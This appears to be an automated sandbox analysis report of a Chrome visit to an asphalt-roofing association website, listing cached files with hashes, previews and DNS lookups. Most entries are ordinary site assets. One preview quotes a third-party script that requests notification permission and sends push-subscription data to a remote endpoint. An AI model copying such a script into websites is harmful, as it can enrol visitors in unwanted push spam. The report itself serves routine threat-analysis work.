URL:	https://events.api.secureserver.net/t/1/tl/event?dh=www.asphaltroofing.org&dr=&ua=Mozilla%2F5.0%20(Windows%20NT%2010.0%3B%20Win64%3B%20x64)%20AppleWebKit%2F537.36%20(KHTML%2C%20like%20Gecko)%20Chrome%2F117.0.0.0%20Safari%2F537.36&client_name=scc-c2&cv=0.2.5&vg=f88fc3aa-100e-4cfc-bec1-5c4af53a6798&vtg=f88fc3aa-100e-4cfc-bec1-5c4af53a6798&dp=%2F&trace_id=735f1429eac14582954d252d84b62fec&cts=2024-04-23T14%3A53%3A49.413Z&hit_id=60230f40-74d9-4d22-a262-e14fce9b5513&ht=pageview&trfd=%7B%22ap%22%3A%22cpbh-mt%22%2C%22server%22%3A%22p3plmcpnl495282%22%2C%22dcenter%22%3A%22p3%22%2C%22cp_id%22%3A%227432260%22%2C%22cp_cache%22%3A%22%22%2C%22cp_cl%22%3A%228%22%7D&ap=cpbh-mt&vci=1192888660&z=1681697255
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 550

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2752)
Category:	downloaded
Size (bytes):	2753
Entropy (8bit):	5.577838241346908
Encrypted:	false
SSDEEP:	48:+m1noWMN6Z3zuX/DiUcVT2Zll/14pll2pgECRiEX/l0LKQrbQV/ABEp+HUxHUQcQ:JBZZDA/pcVCZll/14pT26RRiEv6+Q45x
MD5:	842D4889C73F6664245D70112389026A
SHA1:	3F5D934289E1ACFEBCE633760640881A81AC8299
SHA-256:	99F43E50F4179AF4EBF4C93668866D5A5607914FA0A5DAA087354C3159D3FA03
SHA-512:	06183FCFA4FAE4E82E8805417D75B6DE162666C636C3C78C1200BD960D1EFBBBE34C0EF132851E71E9BC8D53DF243685E175093F1DBC03A5D5DEDD6B794B6A21
Malicious:	false
Reputation:	low
URL:	https://wds.wesq.me/js/pub.min.js
Preview:	!function(a,d,e,i,r){t=(t=d.currentScript)&&t.src\|\|d.URL;var t,o=(t=/\/\/([^/?]+)/.exec(t))?t[1]:"";function s(){var t=a.pm_denyAction;t&&t()}function n(n){var t=new XMLHttpRequest;t.onreadystatechange=function(){var t,e;4==this.readyState&&(t=n.endpoint,(e=a.pm_allowAction)&&e(t))},t.open("POST","https://"+o+"/subscription.php",!0),t.setRequestHeader("Content-type","application/json"),t.send(JSON.stringify({sub:n.toJSON(),language:navigator.language,token:a.pm_token,tag:r\|\|a.pm_tag,utm_term:i,pid:e\|\|a.pm_pid}))}function c(){var t=a.pm_sw\|\|"/sw.js";Promise.all([a.Notification.requestPermission(),navigator.serviceWorker.register(t+(t.match(/\?/)?"&":"?")+"v="+(new Date).valueOf())]).then(function(t){if("granted"!==t[0])throw Error("permission denied");var e=t[1].pushManager;return e.getSubscription().then(function(t){return t\|\|e.subscribe({userVisibleOnly:!0,applicationServerKey:new Uint8Array([4,116,124,109,159,119,95,118,13,4,212,28,55,247,70,69,139,103,90,167,108,37,116,118,109,122,1

Chrome Cache Entry: 551

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (634), with CRLF line terminators
Category:	downloaded
Size (bytes):	8618
Entropy (8bit):	3.966048759999205
Encrypted:	false
SSDEEP:	48:L6oMNS3X5DUvQMRYT8qIDi+KMYf8P3kEyY8d0b7QhjTFzWjSwtToiHLiMHZqKrFt:moMNW5MRYTvIGJEFvyyUhXFk2+LrFdP
MD5:	7AED2F4DCE72101D4269B032E097EC05
SHA1:	1197776772CEC0A1BA055C9E574C8FDAEBCFB7FC
SHA-256:	B106932763588D5F72F358D80AB4316BA89E8C8FA7C0A106790898C88514C960
SHA-512:	EE58B7A9425D6C8F34E0C4BC072AAF502033B6C236A1B89E919D45FEAE328A4095E86F718CF68E6BC45A11AA2CDCB92604F262F878BCEA797C413F7AA9847FE2
Malicious:	false
Reputation:	low
URL:	https://www.asphaltroofing.org/wp-content/themes/u-design/inc/frontend/prettyPhoto/custom_params.js?ver=3.1.6
Preview:	/* ------------------------------------------------------------------------...prettyPhoto custom settings for "U-Design" theme...Version: 3.1.5..------------------------------------------------------------------------- /....(function($){.. "use strict";.. var ppMinWidthToEnable = parseInt(pretty_photo_custom_params.window_width_to_disable_pp);.. var ppStyleTheme = pretty_photo_custom_params.pretty_photo_style_theme;.. var ppGalleryOverlay = (pretty_photo_custom_params.disable_pretty_photo_gallery_overlay === "yes") ? false : true;.... if ( $(window).width() > ppMinWidthToEnable ) {.. .. $("a[rel='wp-prettyPhoto'], a[rel='prettyPhoto'], a[data-rel='prettyPhoto']").prettyPhoto({.. animation_speed: 'normal', /* fast/slow/normal /.. slideshow: 5000, / false OR interval time in ms /.. autoplay_slideshow: false, / true/false /.. opacity: 0.80, / Value between 0 and 1 */.. show_title:

Chrome Cache Entry: 552

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 3024 x 4032, 4-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	1339120
Entropy (8bit):	7.993869586337105
Encrypted:	true
SSDEEP:	24576:9tKhE5KuEG1B3l7H2uH/NZ0WPMyGO4Qp3vHnRd5ECOXITL/VNXuNp1O2r5Zy0CX:7KhstDvH2ufNuWzphiITL9h+r5jCX
MD5:	340687CA7AEB1B97D9554D34BAA5E5F3
SHA1:	648F1900556FE7FF6AE91C5DDD080026FC859A48
SHA-256:	A7D4665A98B2A2EDA1700C91CFD7D23BEE49CD6CCB57E8AE2ADE1AFC3F7FE432
SHA-512:	C5A92235EC1BA3E4CC93550F2641524D978074EFA002C0F68E1653176B2D46032523888FCEC66F08667AADE5BA62E5F2EBB41E29235C8D013FF8F855FFD7BA7E
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.............R5.q....pHYs..........+......gAMA......a.....sRGB........0PLTE...............~...u]r..i...eQ.sc.S?hD6-.....0R....nIIDATx...r#..C.<."....W..X...._..mI........?....'..w..........]}..~c`..\|.G.........@].x3..Z.?......<..wu?~....?.].7....w.w;....q]y....^A..!............1...^.o.ws....W...x..+..........9.Z..7.5....B?.Z...._...})..O.......2...g...}&.X.^..........w..V.G?..0o..<...K!/.....Q.L......V....TF..f....uI..._..}... o.........+s./>.1~....../Z.....d9.U1.K}.....6.W.]...z.z.._...}....<...O.G...uc.G.C]..\|..O..k...W>.OW.~t.E=.y.&........uT.._.....O...^......e...}O_...z...ZI.^(...<.U....Ws....u<}...2.W..\|.b ...).-.x.-.W.q\|\.}h....>J..._\.^w..W.{.k.........`{.77.U.....~la....W.........D.c.w ...e.b.i......ur_(x..g.3..J:k..%....E.........Z..~T-/\|`..~.X..`.E?E}EG'[...0.U....S...o.oa-.}..{=.."caU.../.......&.._]....?.~.. n..y...f...Z....p..I.U......../.7...f}...Ul.Yq.Z".....)?.../.)..D._.X....<'.......dqEZ...}..%7$w.zJnn..

Chrome Cache Entry: 553

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 3972x2977, components 3
Category:	downloaded
Size (bytes):	914766
Entropy (8bit):	7.974526906039598
Encrypted:	false
SSDEEP:	24576:jv834oX3jRlIVmy/eIXsMSbhCv33AET90/Nocr5l:yPXzcV1/381GwE5WNocr5l
MD5:	502A2697AB4A2616A54CCC8EB3389407
SHA1:	8BBE673D6B897562261EE2B9D09A57572502C53E
SHA-256:	A18E972E7B8894653DD242B119F9D399FA7A73440D17067DD9175B1117F31F09
SHA-512:	F648D96ADE8C20F00C0FB5374EFF4FAA6AB736653B1878BF376948EFAA91742705DD4C243D6A3BA7D3880B2562C00DA7C6AA97CA3A648186339DCE09E79ED65E
Malicious:	false
Reputation:	low
URL:	https://www.asphaltroofing.org/wp-content/uploads/2018/04/9-of-17.jpg
Preview:	......JFIF..............................(.....1#%.(:3=<9387@H\N@DWE78PmQW_bghg>Mqypdx\egc......./../cB8Bcccccccccccccccccccccccccccccccccccccccccccccccccc..........."..........2....................................................................A........`.................0..&...L...&....@!....4......10.......`&.&....%............`.8......1..................L...........4.......`..... i...0................... b............. b...................................................................... h..................@..Pd..@.X.BB.@.........@...............@.. ...@....@..... .....j...y...`.....L....................`.10...&...10L....2.....&..10.....`&&!.............b`..&...40...h.......&.0@.P0.........L..L..................`..0.......0......b...........................1..1..0C.....M0......1..10.......C.10.......................@.....L...4.....0.............a.H.h.....7...........@.........!................@.&.....&..@...@.hJHI..\.=............`@....`.B..........h...10L......b....`.b.......b..

Chrome Cache Entry: 554

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	3840
Entropy (8bit):	4.937470138537912
Encrypted:	false
SSDEEP:	48:oMplVGH0zEpbkanba4M4phtVSSHxTpUZzgpDX1ptO5ZsRC4CTM4MpblpjFT5:rykan3todZsx0Zw5
MD5:	389F6721784CD633CDC17EF2C49051F1
SHA1:	756A1645EE91C3DF54E5C5339B6C3B763F4249C3
SHA-256:	B776D9A2E7EA86DB9A9B7D4DAB0AC1379C773B6BEEC8D34732144B98F8F8F43F
SHA-512:	3A04178F84A2793355D6781D10171D72D79A97610477A0E13A464C1FB7223DAD307F5F5E6114A6DF1DC1F9681727D96E1C300A699DAD6A190420F4778695845C
Malicious:	false
Reputation:	low
URL:	https://www.google.com/maps/vt?pb=!1m4!1m3!1i16!2i18860!3i24908!1m4!1m3!1i16!2i18860!3i24909!1m4!1m3!1i16!2i18861!3i24908!1m4!1m3!1i16!2i18861!3i24909!1m4!1m3!1i16!2i18862!3i24908!1m4!1m3!1i16!2i18862!3i24909!1m4!1m3!1i16!2i18863!3i24908!1m4!1m3!1i16!2i18863!3i24909!2m3!1e0!2sm!3i690435105!2m3!1e2!2sspotlit!5i1!3m12!2sen!3sUS!5e289!12m4!1e68!2m2!1sset!2sRoadmap!12m3!1e37!2m1!1ssmartmaps!4e3!12m1!5b1!27m16!299174093m15!14m14!1m9!1m2!1y9928148864880106101!2y4679642052884874500!2s%2Fg%2F11c5n1lpq7!4m2!1x395847673!2x3531091971!8b1!15sgcid%3Ageocoded_address!2b0!3b0!6b0!8b0&client=google-maps-embed&token=3264
Preview:	[{"id":"twutvttwvuvtwwtt","zrange":[16,16],"layer":"spotlit"},{"id":"twutvttwvuvtwwtt","base":[618048640,816215040],"zrange":[16,16],"layer":"m@690435105","features":[{"id":"3359078319631968503","a":[0,0],"bb":[-131,-29,-10,-11,-96,-15,-10,3],"c":"{\"1\":{\"title\":\"Northern Maryland Timberworks\"}}"}]},{"id":"twutvttwvuvtwwtu","zrange":[16,16],"layer":"spotlit"},{"id":"twutvttwvuvtwwtu","base":[618022656,816226048],"zrange":[16,16],"layer":"m@690435105","features":[{"id":"2211659974868117762","a":[0,0,618022656,816226048,618022656,816226048],"bb":[-11,-29,11,2,-11,-29,11,2,-11,-29,11,2,-102,-29,-9,-11,-86,-15,-10,3],"c":"{\"1\":{\"title\":\"Faith Gateway Community\"}}","io":[0,-13]}]},{"id":"twutvttwvuvtwwtv","zrange":[16,16],"layer":"spotlit"},{"id":"twutvttwvuvtwwtv","base":[618081920,816204288],"zrange":[16,16],"layer":"m@690435105","features":[{"id":"5006775502456159534","a":[0,0],"bb":[-130,-15,-9,3],"c":"{\"1\":{\"title\":\"Forest Hill Elementary School\"}}"},{"id":"33590783196

Chrome Cache Entry: 555

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	24
Entropy (8bit):	2.459147917027245
Encrypted:	false
SSDEEP:	3:CUXJ/lH:Dl
MD5:	BC32ED98D624ACB4008F986349A20D26
SHA1:	2D3DF8C11D2168CE2C27E0937421D11D85016361
SHA-256:	0C9CF152A0AD00D4F102C93C613C104914BE5517AC8F8E0831727F8BFBE8B300
SHA-512:	71ACC6DA78D5D5BF0EEA30E2EE0AC5C992B00EFEC959077DFE0AB769F1DBBD9AF12D5C5C155046283D5416BEB606A9EF323FB410E903768B1569B69F37075B4E
Malicious:	false
Reputation:	low
Preview:	GIF89a.......,..........

Chrome Cache Entry: 556

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1900 x 400, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	292665
Entropy (8bit):	7.982311233524928
Encrypted:	false
SSDEEP:	6144:BlNnagasMOimZ3nA0Yfvn+lTBk55iA84zKBexpleowPqjOHXuW:1wsMOiAnLqn26/cjeX/3U
MD5:	ED14719787F06FFB40F59FC1706EB267
SHA1:	C15CC87BD7BDD20C408F84176032355E4B4ED4A5
SHA-256:	05120811D50FB167F423F40C2FCB2CB321D9E227A226F0A3D98C93B4A10E6CF6
SHA-512:	9458DCEDD943FA9685C8BB7A5A71869053031D1DABE6A30AE0CCBEB96ADC63F057E018DC99EC8016B0563F3CD1878B4405BE2A57FB6435963A8853B8F0BF0838
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...l.........U.`....HPLTE................................q.{{.qqteehTUV(\($Y%!V".S.=<<.P..K....c.....v.IDATx...r.H.d..1y..\|....O...Uu..yh..J$.j.J.B.f{/....-j..{w.-...w.....v......^R.<9{o.z..0N..;s.N!..,..&{_......p..W5..z..iV.in.P.LH...V..HW..].w.gc. .]afG{.....J#..uG.......%.......2.).%.b&".#.3.E.fV.....]..;y.8..&....}W0...1.c.i.....A..Y...J....i[..{3.f.,.].&..;f....Tm...w........w..jk.z:43...ui.Q%R.=...;......u...:0a..A.O.S.n4.q/..U.x.aU..ah.y.ifg:.X.....RGY..6.D9....p.)..]C?V...T..y.=.8.'...{...31.....S..Nk..e.vv..V..d.}......T.......,..>....#.=...Jv....G.C.J.P....d.PY..D.J\|.'...9.....c.,..;f..zhVai..fp?.N.....K.x.....f....M#.x@...wT...jf{.t.....q.$jV...@h.s.A..p..HU.we....DFT5.O.H.:.(...@Z.....g..,..H.....1.N."[.0.DS...:....2..h+.2..Y...+..F!.3...dW../.FfF.td'.....jD.E........`!.-..E.....~......y.........}..{...Q.}....w.wg%jG..43...8..{.?...{I..#.....6.3b...2"......J...........;3..sD......]...~"..3.#..3......7w..

Chrome Cache Entry: 557

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 300 x 174, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	5281
Entropy (8bit):	7.9275997293164355
Encrypted:	false
SSDEEP:	96:SxNmUfPNCMjUfdg8Ofu7buOsBYMs//C62E8RdrMZJUF0SvWrRV:qHNtwWLfdYM+1krMYF0MWrr
MD5:	7AFF96A7E58663C8B87A1556996F756C
SHA1:	A62C89C2936B0419F218E8C9A1D3E699BE40114F
SHA-256:	0B2A5FA01920ACC5035B352B5A5C070314A63F5D46646C7A013D0DA463B60413
SHA-512:	FDE11E49DF0F7C650EDE98041B44A0E574B7265B61FE5A20116E7EC8B1F80654A02C106995DD17969E1F04EFF450EB3138754EB639787D635D1EC50B902F7FA2
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...,............ ...uPLTE(....................lll..................(..?'$Y%k..O..t .t .t .t .t .t .j..O..O..N...80t ........................irJa....tRNS.:i.......e5....BAg.......E......IDATx....:..!...!....n.[...7u..Q...m3.-.....R...(z.+.u..c`...,.R..N'.L...,........X...._]..P.-..\|@.......GS.7.BeB..5...GX...X\|...K..Z.e6.aM.TS?.V1t`......x..G......7..a.u1=.`...W"5..A..X.OE.k8.e.l...^.$....w<r...MT..a..~q.cX.b8......L...-.K2A86$@.......{j.n...8...FC...QJ..h.......2B[DF......FJc.FLH.?..$.XD..5".5.#..k.......[."a..XX........&F.....p.O..&..V.h)...~...>.3.....k1...b.Es.4Z../..v6..E&KE.....OLg.a...A(..N..$6E...O....q7'!,d.xR4*B..q..?....x<....".?.Z_.`.h.2.p.P.I#A...a..B!......";..d`q..#..=5,31.p...TS;yfX..2....f.....<`p.{..0.?././..&.{..........r..(re...:.....b..g...[.:,.+...h.......R.)..a..g...:...7f/$....zfS..9...a...%.F.o..K.{..F..&~. ......ZaQ.By...........}....M.P.h..F.....p..x..b.'id..3...Q`.a......Uh..i..)..=<.F.?.;..S2...G.

Chrome Cache Entry: 558

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	3
Entropy (8bit):	1.584962500721156
Encrypted:	false
SSDEEP:	3:P:P
MD5:	8A80554C91D9FCA8ACB82F023DE02F11
SHA1:	5F36B2EA290645EE34D943220A14B54EE5EA5BE5
SHA-256:	CA3D163BAB055381827226140568F3BEF7EAAC187CEBD76878E0B63E9E442356
SHA-512:	CA4B6DEFB8ADCC010050BC8B1BB8F8092C4928B8A0FBA32146ABCFB256E4D91672F88CA2CDF6210E754E5B8AC5E23FB023806CCD749AC8B701F79A691F03C87A
Malicious:	false
Reputation:	low
URL:	https://maps.googleapis.com/maps/api/mapsjs/gen_204?csp_test=true
Preview:	{}.

Chrome Cache Entry: 559

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows cursor resource - 1 icon, 32x32, 2 colors, hotspot @8x8
Category:	dropped
Size (bytes):	326
Entropy (8bit):	2.5620714588910247
Encrypted:	false
SSDEEP:	6:Gl/0puls6M94pTiI+mBURd8EOJlZa8BBL:C0pqs6M94pTJyOZ77
MD5:	FEFF9159F56CB2069041D660B484EB07
SHA1:	0D0A08CF25A258511957F357B89D3908F3C5E6E3
SHA-256:	7342F390B12F636D14E25F698FC5E38CF6240994DC0C07FEFBBB4E78EC4D03C7
SHA-512:	F850277F48AC14FA363265469776E6F7F07F7DD743AA1D1AD7CF2329EEE6D323DA3422CF6BAAC066C84ECD24800A02088053EF3FC0488D170E7FC942AC8FFA99
Malicious:	false
Reputation:	low
Preview:	...... ......0.......(... ...@...............................................................................................................................?...w...g...............................................................................................................................................................

Chrome Cache Entry: 560

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 75368, version 330.32636
Category:	downloaded
Size (bytes):	75368
Entropy (8bit):	7.9963062622222125
Encrypted:	true
SSDEEP:	1536:3votzoJ1K9hFGhTaNK2T2Ihn/KqymF7nTDAYbbaufVZZXyme0kml695:Q81EakQ2T2Ih/bjcY/aCZXvj6z
MD5:	859C4002D9954718CAC1DDEA5555698F
SHA1:	2392CE297C92BCF2C7D5A4C461A582DADC8039C8
SHA-256:	5054AB369966FEA3657AC6AF00C3BC47BDC9E7B5114E61D1764BE06213CA9781
SHA-512:	83CA3CB14DF9D05E3AB2A45042524733790977E5E1DF9A47DD52394D4E209DA643728AB47CCEBB56C1F9AD85501CF074CEB0F2CC5AE3F6AC6A81D967590D13BF
Malicious:	false
Reputation:	low
URL:	https://www.asphaltroofing.org/wp-content/plugins/js_composer/assets/lib/bower/font-awesome/webfonts/fa-brands-400.woff2
Preview:	wOF2......&h.......(..&..J.\|....................?FFTM....`..2.....l..v.6.$..P..j.. .....G[.q'.@v...V..22....4.d..Sn.....:l..f..........c.&l....a.UU..Y..4... l.)...P3..I.a..Z..1c.}..h.u...0Y......b.b6l...l..a..fQ....._...........I....W.7em.s........!...M.....v.m..[..p..uuC..f..'..[>..xl(.E.GTh....qj....O...?...e.a2.eR.3..5._..2..M....cYaS.{.FG......%..L.....m..$...J..U.........u.L..f.y5.F....>....MU..n.(C]...._...~...Q....-.%%.........AE..s.b.b F..nsC7.v....S{?..E..`\((....mm.b.n.@.\|..p.~.}..U{\|`.....O..d.Iz)...q.p...@...d..0..a.,B.. ..iI.9=c.g..ky..p...D....o.{ll..8.zi]4.97.:`(+T.4.......g..l1..;..a..Z..7+#..r..<&...rq..v.y..-iw.#J..22@..gh....e%!...!..<D...wI^)..J.0.k..H.@b......x.m..l.X2..........O6....^h.i....(..Z.....%...G.D4...v&MC...Iw.... ..L........?..A.Z@.....&v&P..h\|......#.....K.G..LK.X`LF#C..w.r.v..i.......r....GL.".........C{,K2...MnOB.ui..?...y.\|..P 0.K...eq..l.\8..........I..C..J.f.....Y...\|.$..>W\...#.2...

Chrome Cache Entry: 561

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	3.0314906788435274
Encrypted:	false
SSDEEP:	3:CUkwltxlHh/:P/
MD5:	325472601571F31E1BF00674C368D335
SHA1:	2DAEAA8B5F19F0BC209D976C02BD6ACB51B00B0A
SHA-256:	B1442E85B03BDCAF66DC58C7ABB98745DD2687D86350BE9A298A1D9382AC849B
SHA-512:	717EA0FF7F3F624C268ECCB244E24EC1305AB21557ABB3D6F1A7E183FF68A2D28F13D1D2AF926C9EF6D1FB16DD8CBE34CD98CACF79091DDDC7874DCEE21ECFDC
Malicious:	false
Reputation:	low
URL:	https://events.api.secureserver.net/t/1/tl/event?dh=www.asphaltroofing.org&dr=&ua=Mozilla%2F5.0%20(Windows%20NT%2010.0%3B%20Win64%3B%20x64)%20AppleWebKit%2F537.36%20(KHTML%2C%20like%20Gecko)%20Chrome%2F117.0.0.0%20Safari%2F537.36&client_name=scc-c2&cv=0.2.5&vg=f88fc3aa-100e-4cfc-bec1-5c4af53a6798&vtg=f88fc3aa-100e-4cfc-bec1-5c4af53a6798&dp=%2Fabout-arma&trace_id=2011146d1e004824a4030e58ff03a094&cts=2024-04-23T14%3A54%3A48.152Z&hit_id=6a39b257-2f30-4ea4-b28e-70fb0b4c9b08&ht=pageview&trfd=%7B%22ap%22%3A%22cpbh-mt%22%2C%22server%22%3A%22p3plmcpnl495282%22%2C%22dcenter%22%3A%22p3%22%2C%22cp_id%22%3A%227432260%22%2C%22cp_cache%22%3A%22%22%2C%22cp_cl%22%3A%228%22%7D&ap=cpbh-mt&vci=537077689&z=344915877
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 562

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1425 x 300, 8-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	264122
Entropy (8bit):	7.994954482498695
Encrypted:	true
SSDEEP:	6144:npVvnA0bcdJTp6mrjb+qnCurlDke9aLxANzXZEnDdZabLs:npVo2cnImrvrnC4lraQ1C8Ls
MD5:	3E02C282956B2A8FD5AE268F4451035B
SHA1:	6A638C047782DC3E72C089551CECEA4104156B9A
SHA-256:	B536A039441AB3350924B40D675D0FCCC253F2660537F95AD8B46DBD44F53A3F
SHA-512:	04B492504952B84BA7705A0111D51A5D49598A3A6D1543F910A305E7DE3C1BE510934FEA4ABB69DDF2F9E08DABBD26F7A56A3B40E1B2A3806EE6DFF8D546FCEC
Malicious:	false
Reputation:	low
URL:	https://www.asphaltroofing.org/wp-content/uploads/2024/01/2024_ExcellenceAwardWinners_WebSlider_1425x300.png
Preview:	.PNG........IHDR.......,......r.L....PLTE....#'=<;Q\c...............@O2:97$.....U`fe.....(".Ycie.....i..743...NX_]xz\fmIU\.)...1)!VosZtw5 .%,.v.._kpm.... A@=...o..RjnFRY7/$e{.s..p..x..^\|}...Nejy..%02)&&....vq........{2.1}pj......$...{v.(.CS#4.RRP.jF.".@OU'4;cpw...xjd.]A\...;.8IOOA8DKQ......J`e......=K.qea4C.f..6BJm_Y..r...E1%...........l}..8V...EZ_.V;.....xXJBev.G:1..gfYR.cC..oaRK........%8J....GM61:B.V#.....\|LV<.N....aD....F.........K...W^FI\).pO1A,...prV...HFC.'5...88!.........&A`..M5U8)..j...E'..}e.v]...ahQ"<E.............o...mL........=....{....Uf0mkn....iO...rH4wV=Xj.&6&...yV`\atsvvjO.....x....Q..]Y,.`'.~......z..x{}vyc.l...M_{..b...cu.bB0..o.....z....k9'...Q..Wie<.^.B.yW[....~.3Jh.....<y{J...>Tudr;.5..j.....#..v........n._C...:..Pt....\L...v..*.xw....+u./...{..........tRNS....H............_IDATx...TSg............AG..Sj=.....2.X#.1....U..TxC......$...~.G..>F.B.x...6.E....J}.:...K-oWWgM......wv...9..!.$.d........w._G.w.e.8.cw..;....x..G.v..`.

Chrome Cache Entry: 563

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	32
Entropy (8bit):	4.476409765557392
Encrypted:	false
SSDEEP:	3:HTEzthxRIK2YY:zQ3ul1
MD5:	A6AE0FDB62A7BC6A11419A0B40EB4294
SHA1:	A0509480F4D541E48E5E367372A315770AF298B0
SHA-256:	4A7B308747CE4E4FA9D947B2D574CD2714B9C588A817717246F7AEEDC99E13DF
SHA-512:	2844C9F5D563F580613E2C3B1957B8E502AB306D3B12FA2288394DBA316DB581916F84852DF8C3C3E340E409F2856221177704FD6BFFA8BD7CBC53BF0118E0EE
Malicious:	false
Reputation:	low
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzQSEAl9XDchD2-RHBIFDbtXVmoSEAlJch7bYjPaBRIFDbtXVmo=?alt=proto
Preview:	CgkKBw27V1ZqGgAKCQoHDbtXVmoaAA==

Chrome Cache Entry: 564

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	3.0314906788435274
Encrypted:	false
SSDEEP:	3:CUkwltxlHh/:P/
MD5:	325472601571F31E1BF00674C368D335
SHA1:	2DAEAA8B5F19F0BC209D976C02BD6ACB51B00B0A
SHA-256:	B1442E85B03BDCAF66DC58C7ABB98745DD2687D86350BE9A298A1D9382AC849B
SHA-512:	717EA0FF7F3F624C268ECCB244E24EC1305AB21557ABB3D6F1A7E183FF68A2D28F13D1D2AF926C9EF6D1FB16DD8CBE34CD98CACF79091DDDC7874DCEE21ECFDC
Malicious:	false
Reputation:	low
URL:	https://events.api.secureserver.net/t/1/tl/event?dh=www.asphaltroofing.org&dr=&ua=Mozilla%2F5.0%20(Windows%20NT%2010.0%3B%20Win64%3B%20x64)%20AppleWebKit%2F537.36%20(KHTML%2C%20like%20Gecko)%20Chrome%2F117.0.0.0%20Safari%2F537.36&client_name=scc-c2&cv=0.2.5&vg=f88fc3aa-100e-4cfc-bec1-5c4af53a6798&vtg=f88fc3aa-100e-4cfc-bec1-5c4af53a6798&dp=%2Fresources&trace_id=1eb308c165864335808e0b2b68709a54&cts=2024-04-23T14%3A54%3A39.986Z&hit_id=d71f8055-0c3c-4c1e-8070-fb3d178f9501&ht=pageview&trfd=%7B%22ap%22%3A%22cpbh-mt%22%2C%22server%22%3A%22p3plmcpnl495282%22%2C%22dcenter%22%3A%22p3%22%2C%22cp_id%22%3A%227432260%22%2C%22cp_cache%22%3A%22%22%2C%22cp_cl%22%3A%228%22%7D&ap=cpbh-mt&vci=684766487&z=1837094374
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 565

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 3959 x 834, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	842705
Entropy (8bit):	7.7088111588147115
Encrypted:	false
SSDEEP:	24576:aA9zM/Kd+hk65gb76FrlDmpzj2yuOZcFXm:d9zM/Kdo55Rmdj95ZyXm
MD5:	1039BE5EC599AC1DB057CCD46F87AA08
SHA1:	1D4A3D89046BE93E1AF836A6B412D139ADCDDCA6
SHA-256:	1511C39E5022E2B28515AA69DB04352F4F8E61E07F7D854B903E879580B2D513
SHA-512:	B4FA1FEF4D54DD9BD2529669D812B8B1D43C2BE0E26B280C1E5CE7BA4B33C440B5926751F1E87CBEC28B7212D999DA243AEA2BFF65E414E9A5669754A846CFA5
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...w...B......@W.....pHYs..........&.?...lPLTE..........................................................{yy..stqfhd.ZUZ]WpHBNPNf60j!._..W..5#"L..;..'......4_i....IDATx.......p.0..';..k..4.._....X....Y2..X....,........l....,4.;,.4}b...L`.....b.X..,..........$..n.....=....6....~j...N~z.-}...8R..ro..~.....d.y.v.&...$.....,!s.%.....;N.........Y.F...p..%..{...]?K....'...5.q.<;....-1.-Llk.n....'..>a.{......H....%[......Y...O...%.Z....,...\|.y.]F<.k...{........p.>....$F.K.[.K.KR.m..M.;...H.7....~...1E...c.;....y.t#6..Y..-v....I..@.#X..m..lI.A..p...0rwob.N.s.4.,.!...J 3.L.zu.a$....%a.X... .kr...H.S..[..y.~.6y..8.n..#.....,.._)..BXvu....M.9.szP. ..17.,.,..z..#.1X&..G..#..B@....a...#P.g`A.d.db8.p..#.0......0..A..g.Eq`.........J...p.\.X..........(..%..3. ...0.b...@.:.#...&....`a.E.!.:..d.....@.@.......b....@`..XXb..Xb....K0..>v.....'w...&ia......On..dw.....c...I....tx....1..=.....].......E..`;3.l.w.y<..~F]]...w..4....ic.... y.E.%..I9P..

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Apr 23, 2024 16:53:38.544918060 CEST	192.168.2.6	1.1.1.1	0xb104	Standard query (0)	www.asphaltroofing.org	A (IP address)	IN (0x0001)	false
Apr 23, 2024 16:53:38.545434952 CEST	192.168.2.6	1.1.1.1	0x7aa1	Standard query (0)	www.asphaltroofing.org	65	IN (0x0001)	false
Apr 23, 2024 16:53:39.105860949 CEST	192.168.2.6	1.1.1.1	0x96f3	Standard query (0)	www.asphaltroofing.org	A (IP address)	IN (0x0001)	false
Apr 23, 2024 16:53:39.106091022 CEST	192.168.2.6	1.1.1.1	0xbe13	Standard query (0)	www.asphaltroofing.org	65	IN (0x0001)	false
